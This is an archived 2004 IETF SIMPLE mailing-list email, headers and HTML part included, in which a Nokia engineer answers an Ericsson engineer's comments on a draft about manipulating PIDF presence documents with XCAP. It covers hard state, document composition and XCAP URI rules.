	id 1AyM5G-00005w-00; Tue, 02 Mar 2004 21:26:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM5D-0001a7-DM; Tue, 02 Mar 2004 21:26:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyM4G-0001Lt-KW
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 21:25:04 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA21659
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:25:01 -0500 (EST)
From: Markus.Isomaki@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM4D-0007kh-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:25:01 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyM3H-0007cq-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:24:07 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyM2U-0007Uu-00
	for simple@ietf.org; Tue, 02 Mar 2004 21:23:14 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232N9S27463;
	Wed, 3 Mar 2004 04:23:10 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 04:23:00 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i232N0A8003235;
	Wed, 3 Mar 2004 04:23:00 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00r0Wj6E; Wed, 03 Mar 2004 04:22:59 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i232MxO04904;
	Wed, 3 Mar 2004 04:22:59 +0200 (EET)
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 04:22:58 +0200
x-mimeole: Produced By Microsoft Exchange V6.0.6487.1
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_001_01C400C6.722849DA"
Message-ID: <E392EEA75EC5F54AB75229B693B1B6A7054D5B24@esebe018.ntc.nokia.com>
X-MS-Has-Attach: yes
Thread-Topic: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Thread-Index: AcQAwlvys6ZqzWXIR2uiFTWeyeRuCAAAFygg
To: <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 02:22:58.0188 (UTC) FILETIME=[718E1CC0:01C400C6]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 04:22:59 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.8 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400C6.722849DA
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_002_01C400C6.722849DA"


------_=_NextPart_002_01C400C6.722849DA
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,
=20
OK, this time I understood your points much better.
=20
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments =
on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF =
Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
=20
First of all, the document you are referring to has been updated with =
this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipu=
lation-usage-00.txt
=20
I'll submit the WG version shortly after the meeting. The changes =
compared to the version you read are mainly clarifications, so I think =
your comments would apply to the new draft as well. My anwers to each =
point below:
=20
1) XCAP operations are hard state by nature, no refreshing is needed, so =
this is inherently hard state manipulation.=20
/gf=20
Agree, but how do you prevent users, from using XCAP from manipulating =
presence soft states.
I assume that all the presence tuples are part of the same presence =
document.=20
Now you are advocating selective manipluation of some tuples and not =
others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
=20
[MI] OK, I think I know what you mean. The model for how the final =
presence document is put together is shown in the draft in Chapter 3. =
First, a presentity can publish several PIDF documents using SIP =
PUBLISH. Then, she can have a single "hard state" PIDF document =
manipulated with XCAP. All of these can contain any number of tuples. =
All this is fed into magic called "event state compositor", which =
produces a single consistent presence document. The fact that the =
compositor logic has been left as implementation specific is a feature =
(or a deficiency) in SIMPLE, and this draft makes it no worse. I agree =
that there will be interoperability issues with how things with the =
composition definition are at the moment, but this draft does not cause =
the problem.
=20
 2) The default model I have in mind is that each presentity would have =
exactly one persistent device-independent presence document that would =
be manipulated by XCAP. That would be fed to the composition logic to =
complement the PUA/device-specific documents published using SIP PUBLISH =
mechanism. =20
XCAP is meant to be a generic XML-manipulation mechanism, so there =
should be nothing specific in this application usage. Once the base XCAP =
is finished, we'll see what the exact mechanisms to mandate supported =
namespaces are, and we'll adopt that convention in this draft too. This =
is probably still changing from xcap-02 draft, as was discussed in =
SIMPLE session. =20
=20
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite =
a lot, not to mention slow things down, to make it more generic.=20
gf/=20
=20
[MI] I think you are right on this one, my previous statement was wrong. =
XCAP can have problems with handling *any* XML document, if the selector =
construction will be restricted to only limited number of possibilities. =
However, see Jonathan's mail attached to this mail. Based on this I =
assume PIDF would still be OK for XCAP as it is now.
=20
3) I'm not sure if I understood the question. This is not a template for =
any applications that want to use XCAP, this is standardizing how XCAP =
is used to manipulate PIDF-formatted presence documents. As there is no =
computed data or anything, I guess an app usage for any XML doc would be =
quite similar to this one.=20
=20
/gf
For event packages we have a template that have to be filled by for =
anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the =
event package approach. (forget about the content for your application)
I am not sure if I am clear on that one.=20
gf/=20
=20
[MI] OK, I got the question, thanks. Yes, we tried to follow the =
structure/template how Jonathan has defined the other existing XCAP =
application usages. So it should be according to how XCAP AUs are =
ssupposed to be specified.=20
=20
4) Surely there are many ways to manipulate PIDF documents. However, in =
context of SIMPLE, XCAP is a natural choice since it's needed already in =
any advanced presence-capable device. Could you explain what kind of =
complexities you mean? This is as simple an XCAP usage as there can be. =
Are you saying that XCAP in itself is complex? A more simple way would =
be to use just normal HTTP PUT and DELETE, but since we have XCAP at our =
disposal, why not use it.=20
=20
/gf
The complexities will arise if we allow users to do selective =
manipulation, using XCAP, for certain tuples *only*, and using PUBLISH =
for the remaining tuples.
So I need to see your answer first to my response to your first  bullet =
before I go further
 gf/=20
=20
[MI] As I explained above, you can already PUBLISH several documents and =
there has to be a way to do composition. So the complexity is already =
inbuilt in SIMPLE, it is not in this sense extended here.
=20
Markus

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20

I have some comments on your draft:=20

1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

3) Is this template meant to be a generic template to be used by all =
applications that want to use XCAP.=20

4) Finally, I believe that there are other, out-of-band means, to =
accomplish your goals, i.e. manipulate hard states, without the =
unwarranted complexities that the draft creates. Thus, there must be =
explicit references in the draft to that fact. =20

/gf=20
Ericsson Canada=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20



This communication is confidential and intended solely for the =
addressee(s). Any unauthorized review, use, disclosure or distribution =
is prohibited. If you believe this message has been sent to you in =
error, please notify the sender by replying to this transmission and =
delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, =
interruption, unauthorized amendment, tampering and viruses, and we only =
send and receive e-mails on the basis that we are not liable for any =
such corruption, interception, amendment, tampering or viruses or any =
consequences thereof.=20


------_=_NextPart_002_01C400C6.722849DA
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Comments on draft-isomaki-simple-xcap-publish-usage-00</TITLE>

<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Hi,</FONT></SPAN></DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =
size=3D2>OK,=20
this time I understood your points much better.</FONT></SPAN></DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D182215601-03032004><FONT face=3DArial color=3D#0000ff =

size=3D2>Comments&nbsp;starting with [MI] inline:</FONT></SPAN></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> ext George Foti =
(QA/EMC)=20
  [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
  03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
  simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation =
Usage-00draft=20
  (was RE: Comments on=20
  draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D509473301-03032004>Sorry, I had the wrong draft in the =
subject, but I=20
  meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
  <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
  class=3D509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
  <BLOCKQUOTE dir=3Dltr=20
  style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid; MARGIN-RIGHT: 0px">
    <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
    size=3D2>-----Original Message-----<BR><B>From:</B> =
Markus.Isomaki@nokia.com=20
    [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, =
2004=20
    8:24 PM<BR><B>To:</B> George Foti (QA/EMC);=20
    simple@ietf.org<BR><B>Subject:</B> RE: Comments on=20
    draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>Hi=20
    George,</FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>First of all, the document you are referring to has been =
updated with=20
    this one:</FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2><A=20
    =
href=3D"http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pid=
f-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-is=
omaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>I'll submit the WG version shortly after the meeting. The =
changes=20
    compared to the version you&nbsp;read&nbsp;are mainly =
clarifications, so I=20
    think your comments would apply to the new draft as well. My anwers =
to each=20
    point below:</FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>1)=20
    XCAP operations are hard state by nature, no refreshing is needed, =
so this=20
    is inherently hard state manipulation. </FONT></SPAN></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></=
DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>Agree, =
but how do=20
    you prevent users, from using XCAP from manipulating presence soft=20
    states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>I assume =
that all=20
    the presence tuples are part of the same presence document.=20
    </SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>Now you =
are=20
    advocating selective manipluation of some tuples and not others =
using=20
    XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>Have I =
misunderstood=20
    something here ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004>How will =
you enforce=20
    that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
    <DIV><FONT face=3DArial color=3D#0000ff size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN class=3D509473301-03032004><SPAN=20
    class=3D182215601-03032004>[MI] OK, I think I know what you mean. =
The model=20
    for how the final presence document is put together is shown in the =
draft in=20
    Chapter 3. First,&nbsp;a presentity can publish several PIDF =
documents using=20
    SIP PUBLISH. Then, she can have a single "hard state" =
PIDF&nbsp;document=20
    manipulated with XCAP. All of these can contain any number of =
tuples. All=20
    this is fed into magic called "event state compositor", which =
produces a=20
    single consistent presence document. The fact that the compositor =
logic has=20
    been left as implementation specific is a feature (or a deficiency) =
in=20
    SIMPLE, and this draft makes it no worse. I agree that there will be =

    interoperability issues with how things with the composition =
definition are=20
    at the moment, but this draft does not cause the=20
    problem.</SPAN></SPAN></SPAN></FONT></DIV>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV=
>
    <DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D902344900-03032004><SPAN =
class=3D509473301-03032004>&nbsp;</SPAN>2) The=20
    default model I have in mind is that each presentity would have =
exactly one=20
    persistent device-independent presence document that would be =
manipulated by=20
    XCAP. That would be fed to the composition logic to complement the=20
    PUA/device-specific documents published using SIP PUBLISH =
mechanism.<SPAN=20
    class=3D509473301-03032004>&nbsp;</SPAN></SPAN><SPAN=20
    class=3D902344900-03032004><SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2>XCAP is meant to be a generic =
XML-manipulation=20
    mechanism, so there should be nothing specific in this application =
usage.=20
    Once the base XCAP is finished, we'll see what the exact mechanisms =
to=20
    mandate supported namespaces are, and we'll adopt that convention in =
this=20
    draft too. This is probably still changing from xcap-02 draft, as =
was=20
    discussed in SIMPLE session.&nbsp;<SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>Not =
totally=20
    true</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>XCAP =
have a=20
    limited set of rules for HTTP URI=20
    creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN=20
    class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
    size=3D2><SPAN class=3D509473301-03032004>So&nbsp;it is not meant =
for *any* XML=20
    document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>I =
think the XCAP=20
    framework is clear on that</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>You =
would need to=20
    expand those rules, which can complicate things quite a lot, not to =
mention=20
    slow things down, to make it more=20
    generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
    =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D182215601-03032004>[MI] I think you are right on this one, =
my previous=20
    statement was wrong. XCAP can have problems with handling *any* XML=20
    document, if the selector construction will be restricted to only =
limited=20
    number of possibilities. However, see Jonathan's mail attached to =
this mail.=20
    Based on this I assume PIDF would still be OK for XCAP as it is=20
    now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2>3) I'm not sure if I&nbsp;understood =
the=20
    question. This is not a template for any applications that want to =
use XCAP,=20
    this is standardizing how XCAP is used to manipulate PIDF-formatted =
presence=20
    documents. As there is no computed data or anything, I guess an app =
usage=20
    for any XML doc would be quite similar to this one.<SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>For =
event packages=20
    we have a template that have to be filled&nbsp;by for anyone who =
wants to=20
    create a new event package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>So I =
am asking if=20
    your&nbsp;document presents a template, similar&nbsp;to the event =
package=20
    approach. (forget about the content for your=20
    application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>I am =
not sure if I=20
    am clear&nbsp;on that =
one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2>gf/<SPAN=20
    =
class=3D182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPA=
N></DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbs=
p;</DIV>
    <DIV><SPAN class=3D902344900-03032004><SPAN =
class=3D509473301-03032004><FONT=20
    face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
    class=3D182215601-03032004>[MI] OK, I got the question, thanks. =
Yes,&nbsp;we=20
    tried to follow&nbsp;the structure/template how Jonathan has defined =

    the&nbsp;other existing&nbsp;XCAP application usages. So it =
should&nbsp;be=20
    according to how XCAP AUs are ssupposed to be=20
    specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2>4) Surely there are many ways to =
manipulate PIDF=20
    documents. However, in context of SIMPLE, XCAP is a natural choice =
since=20
    it's needed already in any advanced presence-capable device. Could =
you=20
    explain what kind of complexities you mean? This is as simple an =
XCAP usage=20
    as&nbsp;there can be. Are you saying that XCAP in itself is complex? =
A more=20
    simple way would be to use just normal HTTP PUT and DELETE, but =
since we=20
    have XCAP at our disposal, why not use it.<SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV=
>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>The =
complexities=20
    will arise if we allow users to do selective manipulation, using=20
    XCAP,&nbsp;for certain tuples&nbsp;*only*, and using PUBLISH for the =

    remaining tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN class=3D509473301-03032004>So I =
need to see=20
    your answer first to my&nbsp;response to your first &nbsp;bullet =
before I go=20
    further</SPAN></FONT></FONT></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial><FONT=20
    color=3D#0000ff><FONT size=3D2><SPAN=20
    =
class=3D509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN=
=20
    class=3D902344900-03032004><FONT face=3DArial><FONT =
color=3D#0000ff><FONT=20
    size=3D2><SPAN=20
    =
class=3D509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></=
DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2><SPAN class=3D182215601-03032004>[MI] As I explained above, =
you can=20
    already PUBLISH several documents and there has to be a way to do=20
    composition. So the complexity is already inbuilt in SIMPLE, it is =
not in=20
    this sense extended here.</SPAN></FONT></SPAN></DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2></FONT></SPAN>&nbsp;</DIV>
    <DIV><SPAN class=3D902344900-03032004><FONT face=3DArial =
color=3D#0000ff=20
    size=3D2>Markus</FONT></SPAN></DIV>
    <BLOCKQUOTE=20
    style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff =
2px solid">
      <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
      size=3D2>-----Original Message-----<BR><B>From:</B> ext George =
Foti (QA/EMC)=20
      [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004=20
      02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki);=20
      simple@ietf.org<BR><B>Subject:</B> Comments on=20
      =
draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
      <P><FONT face=3D"Times New Roman">Hi Markus,</FONT> </P>
      <P><FONT face=3D"Times New Roman">I have some comments on your =
draft:</FONT>=20
      </P>
      <P><FONT face=3D"Times New Roman">1) Although you indicate that =
this should=20
      be used only for hard states, what is there to prevent users from=20
      manipulating other presence states in there through =
XCAP.</FONT></P>
